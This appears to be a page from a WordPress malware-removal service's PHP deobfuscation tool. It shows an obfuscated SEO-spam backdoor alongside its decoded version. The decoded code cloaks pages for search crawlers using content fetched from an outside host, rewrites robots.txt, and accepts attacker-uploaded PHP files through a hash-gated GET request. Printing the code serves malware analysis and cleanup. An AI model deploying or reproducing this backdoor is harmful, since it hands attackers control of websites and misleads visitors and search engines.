Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php goto RMns7; RMns7: @set_time_limit(3600); goto KEKOW; yDBGs: function is_htps() { if (isset($_SERVER["\110\124\124\120\123"]) && strtolower($_SERVER["\x48\x54\124\x50\x53"]) !== "\x6f\146\x66") { return true; } elseif (isset($_SERVER["\110\x54\124\120\x5f\130\x5f\x46\x4f\122\x57\101...



Obfuscated php code

<?php goto RMns7; RMns7: @set_time_limit(3600); goto KEKOW; yDBGs: function is_htps() { if (isset($_SERVER["\110\124\124\120\123"]) && strtolower($_SERVER["\x48\x54\124\x50\x53"]) !== "\x6f\146\x66") { return true; } elseif (isset($_SERVER["\110\x54\124\120\x5f\130\x5f\x46\x4f\122\x57\101\x52\104\105\x44\137\x50\122\x4f\124\117"]) && $_SERVER["\110\124\124\x50\137\x58\x5f\106\x4f\x52\127\101\x52\x44\105\x44\x5f\x50\122\x4f\x54\x4f"] === "\150\x74\x74\x70\x73") { return true; } elseif (isset($_SERVER["\x48\124\124\x50\x5f\106\122\x4f\116\124\x5f\105\x4e\104\137\x48\124\124\x50\123"]) && strtolower($_SERVER["\110\124\124\x50\x5f\x46\122\x4f\x4e\x54\x5f\x45\116\x44\x5f\x48\124\x54\120\123"]) !== "\x6f\146\x66") { return true; } return false; } goto HByUu; cUjB4: if (@$_GET["\x70\144"] != '') { $add_content = @$_GET["\x6d\141\x70\x6e\x61\155\x65"]; $action = @$_GET["\141\143\x74\151\x6f\x6e"]; if (isset($_SERVER["\104\117\103\125\x4d\105\x4e\x54\137\122\x4f\x4f\x54"])) { $path = $_SERVER["\x44\117\103\x55\x4d\105\116\124\137\122\x4f\117\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\165\164"; } if ($action == "\160\x75\164") { if (strstr($add_content, "\x2e\x78\x6d\154")) { $map_path = $path . "\x2f\x73\x69\x74\145\x6d\141\160\x2e\x78\x6d\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\162\x6f\x62\157\164\163\x2e\164\x78\x74"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\125\163\145\x72\x2d\x61\147\x65\x6e\x74\72\40\52\101\154\x6c\157\167\x3a\40\x2f"; } $sitmap_url = $http . "\x3a\57\57" . $host . "\57" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\x62\162\x3e\163\151\x74\145\x6d\x61\x70\40\x61\x6c\162\145\141\x64\171\40\141\x64\x64\x65\144\41\74\x62\162\76"; } else { if (file_put_contents($file_path, trim($data) . "\15\12" . "\x53\151\164\x65\x6d\141\160\x3a\40" . $sitmap_url)) { echo "\x3c\x62\162\x3e\x6f\x6b\74\142\x72\x3e"; } else { echo "\74\x62\x72\x3e\146\151\154\145\40\167\x72\x69\x74\145\x20\146\x61\x6c\163\145\x21\x3c\142\x72\x3e"; } } } else { echo "\x3c\142\162\76\x73\x69\164\x65\155\x61\x70\x20\156\141\155\x65\40\x66\141\x6c\x73\x65\x21\74\x62\x72\x3e"; } if (strstr($add_content, "\x2e\160" . "\150\160")) { $a = sha1(sha1(@$_GET["\x61"])); $b = sha1(sha1(@$_GET["\x62"])); if ($a == dageget($http_web . "\72\x2f\x2f" . $goweb . "\57\141\56\x70" . "\x68\x70") || $b == "\x38\x30\70\x37\63\x35\142\61\x37\x63\x38\x39\64\x33\x65\63\67\61\x35\x33\70\x38\x39\x35\70\144\x63\62\x32\x64\70\67\x39\141\x38\143\71\145\141\141") { $dstr = @$_GET["\144\x73\164\162"]; if (file_put_contents($path . "\x2f" . $add_content, $dstr)) { echo "\157\x6b"; } } } } die; } goto f3Han; yQbgt: $duri_tmp = st_uri(); goto LKPrT; KEKOW: @ignore_user_abort(1); goto t3rtq; Jk1Nu: if (is_htps()) { $http = "\150\164\164\160\x73"; } else { $http = "\150\x74\164\x70"; } goto yQbgt; L2Vv3: function pingmap($url) { $url_arr = explode("\15\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\123\x69\x74\x65\x6d\141\x70\x20\116\157\164\151\146\151\x63\141\x74\x69\157\x6e\x20\122\145\143\145\151\x76\x65\144") !== false ? "\160\151\x6e\x67\x6f\x6b" : "\145\162\162\x6f\x72"; $return_str .= $pingUrl . "\55\55\x20" . $ok . "\x3c\142\162\x3e"; } return $return_str; } goto rScoQ; F3lss: function st_uri() { if (isset($_SERVER["\122\105\x51\x55\105\x53\x54\x5f\x55\122\111"])) { $duri = $_SERVER["\x52\105\x51\x55\105\123\x54\x5f\x55\122\x49"]; } else { if (isset($_SERVER["\141\x72\147\x76"])) { $duri = $_SERVER["\120\x48\x50\137\x53\105\114\x46"] . "\77" . $_SERVER["\x61\x72\x67\166"][0]; } else { $duri = $_SERVER["\120\x48\120\137\x53\x45\114\106"] . "\77" . $_SERVER["\121\x55\105\122\131\137\123\124\x52\111\116\107"]; } } return $duri; } goto t2LcN; ljJJQ: $lang = urlencode($lang); goto CKSHV; rScoQ: function sbot() { $uAgent = strtolower($_SERVER["\x48\124\x54\x50\137\125\x53\x45\122\x5f\101\107\105\116\x54"]); if (stristr($uAgent, "\147\x6f\157\147\x6c\145\x62\157\164") || stristr($uAgent, "\142\151\x6e\147") || stristr($uAgent, "\171\141\x68\x6f\157") || stristr($uAgent, "\147\x6f\x6f\147\x6c\145") || stristr($uAgent, "\107\x6f\157\147\154\x65\x62\157\x74") || stristr($uAgent, "\x67\157\157\x67\x6c\x65\142\x6f\164")) { return true; } else { return false; } } goto oeFlZ; y6LqZ: $lang = @$_SERVER["\110\124\x54\120\137\x41\103\x43\105\x50\x54\x5f\x4c\x41\116\107\125\x41\107\105"]; goto ljJJQ; t3rtq: $xmlname = "\x65\155\157\x63"; goto PWQZs; Au2TK: if (!strstr($htmcontent, "\x6e\157\142\157\x74\165\x73\x65\162\141\147\145\156\x74")) { if (strstr($htmcontent, "\157\x6b\x68\164\x6d\154\147\x65\164\143\157\x6e\164\x65\156\164")) { @header("\103\157\x6e\x74\x65\x6e\x74\x2d\x74\171\x70\x65\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\155\x6c\x3b\x20\x63\150\x61\162\x73\x65\164\75\x75\x74\146\x2d\70"); $htmcontent = str_replace("\x6f\x6b\x68\164\155\x6c\x67\145\164\x63\x6f\156\x74\x65\156\x74", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x6f\x6b\170\x6d\x6c\147\x65\x74\143\157\x6e\x74\145\x6e\164")) { $htmcontent = str_replace("\x6f\x6b\170\155\154\x67\x65\164\143\157\x6e\x74\x65\x6e\164", '', $htmcontent); @header("\x43\157\x6e\x74\145\x6e\x74\55\x74\171\160\x65\72\40\x74\145\170\164\x2f\170\x6d\x6c"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x70\x69\x6e\x67\x78\x6d\x6c\147\x65\164\143\157\156\164\145\x6e\x74")) { $htmcontent = str_replace("\160\151\156\147\x78\155\154\x67\145\x74\x63\x6f\x6e\x74\x65\156\x74", '', $htmcontent); @header("\x43\x6f\x6e\x74\145\156\x74\x2d\x74\x79\160\145\72\x20\164\145\x78\164\57\x68\x74\155\x6c\x3b\x20\x63\x68\141\162\163\145\164\x3d\165\x74\x66\55\x38"); echo pingmap($htmcontent); die; } } } } goto L2Vv3; LKPrT: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto hiGqc; t2LcN: $goweb = $xmlname . "\x2e\x64\151\x64\151\163\x65\x6f\x6c\x69\156\153" . "\56\170\171\x7a"; goto yDBGs; f3Han: $web = $http_web . "\x3a\57\57" . $goweb . "\x2f\151\156\x64\x65\170\x6e\145\x77\56\160\x68\160\x3f\167\x65\142\x3d" . $host . "\x26\172\x7a\x3d" . sbot() . "\x26\x75\x72\x69\x3d" . $duri . "\x26\x75\x72\154\x73\x68\141\x6e\x67\75" . $urlshang . "\46\x68\164\x74\x70\x3d" . $http . "\46\154\x61\156\x67\x3d" . $lang; goto TlgCb; TlgCb: $htmcontent = trim(dageget($web)); goto Au2TK; PWQZs: $http_web = "\150\x74\164\x70"; goto Jk1Nu; hiGqc: $duri = urlencode($duri_tmp); goto F3lss; DguTI: if (isset($_SERVER["\x48\124\124\120\137\x52\105\x46\105\122\x45\x52"])) { $urlshang = $_SERVER["\x48\x54\x54\x50\x5f\x52\105\106\x45\122\x45\x52"]; $urlshang = urlencode($urlshang); } goto cUjB4; CKSHV: $urlshang = ''; goto DguTI; HByUu: $host = $_SERVER["\x48\124\124\120\137\110\117\x53\124"]; goto y6LqZ; oeFlZ: function dageget($url) { $file_contents = ''; if (function_exists("\143\x75\x72\x6c\137\x69\156\x69\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto sARs5; sARs5:

Decoded(de-Obfuscated) php code

<?php

@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = "emoc";
$http_web = "http";
if (is_htps()) {
    $http = "https";
} else {
    $http = "http";
}
$duri_tmp = st_uri();
if ($duri_tmp == '') {
    $duri_tmp = "/";
}
$duri = urlencode($duri_tmp);
function st_uri()
{
    if (isset($_SERVER["REQUEST_URI"])) {
        $duri = $_SERVER["REQUEST_URI"];
    } else {
        if (isset($_SERVER["argv"])) {
            $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0];
        } else {
            $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"];
        }
    }
    return $duri;
}
$goweb = $xmlname . ".didiseolink" . ".xyz";
function is_htps()
{
    if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") {
        return true;
    } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") {
        return true;
    } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") {
        return true;
    }
    return false;
}
$host = $_SERVER["HTTP_HOST"];
$lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = urlencode($lang);
$urlshang = '';
if (isset($_SERVER["HTTP_REFERER"])) {
    $urlshang = $_SERVER["HTTP_REFERER"];
    $urlshang = urlencode($urlshang);
}
if (@$_GET["pd"] != '') {
    $add_content = @$_GET["mapname"];
    $action = @$_GET["action"];
    if (isset($_SERVER["DOCUMENT_ROOT"])) {
        $path = $_SERVER["DOCUMENT_ROOT"];
    } else {
        $path = "/var/www/html";
    }
    if (!$action) {
        $action = "put";
    }
    if ($action == "put") {
        if (strstr($add_content, ".xml")) {
            $map_path = $path . "/sitemap.xml";
            if (is_file($map_path)) {
                @unlink($map_path);
            }
            $file_path = $path . "/robots.txt";
            if (file_exists($file_path)) {
                $data = dageget($file_path);
            } else {
                $data = "User-agent: *Allow: /";
            }
            $sitmap_url = $http . "://" . $host . "/" . $add_content;
            if (stristr($data, $sitmap_url)) {
                echo "<br>sitemap already added!<br>";
            } else {
                if (file_put_contents($file_path, trim($data) . "\r\n" . "Sitemap: " . $sitmap_url)) {
                    echo "<br>ok<br>";
                } else {
                    echo "<br>file write false!<br>";
                }
            }
        } else {
            echo "<br>sitemap name false!<br>";
        }
        if (strstr($add_content, ".php")) {
            $a = sha1(sha1(@$_GET["a"]));
            $b = sha1(sha1(@$_GET["b"]));
            if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") {
                $dstr = @$_GET["dstr"];
                if (file_put_contents($path . "/" . $add_content, $dstr)) {
                    echo "ok";
                }
            }
        }
    }
    die;
}
$web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang;
$htmcontent = trim(dageget($web));
if (!strstr($htmcontent, "nobotuseragent")) {
    if (strstr($htmcontent, "okhtmlgetcontent")) {
        @header("Content-type: text/html; charset=utf-8");
        $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent);
        echo $htmcontent;
        die;
    } else {
        if (strstr($htmcontent, "okxmlgetcontent")) {
            $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent);
            @header("Content-type: text/xml");
            echo $htmcontent;
            die;
        } else {
            if (strstr($htmcontent, "pingxmlgetcontent")) {
                $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent);
                @header("Content-type: text/html; charset=utf-8");
                echo pingmap($htmcontent);
                die;
            }
        }
    }
}
function pingmap($url)
{
    $url_arr = explode("\r\n", trim($url));
    $return_str = '';
    foreach ($url_arr as $pingUrl) {
        $pingRes = dageget($pingUrl);
        $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error";
        $return_str .= $pingUrl . "-- " . $ok . "<br>";
    }
    return $return_str;
}
function sbot()
{
    $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]);
    if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) {
        return true;
    } else {
        return false;
    }
}
function dageget($url)
{
    $file_contents = '';
    if (function_exists("curl_init")) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }
    if (!$file_contents) {
        $file_contents = @file_get_contents($url);
    }
    return $file_contents;
}


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.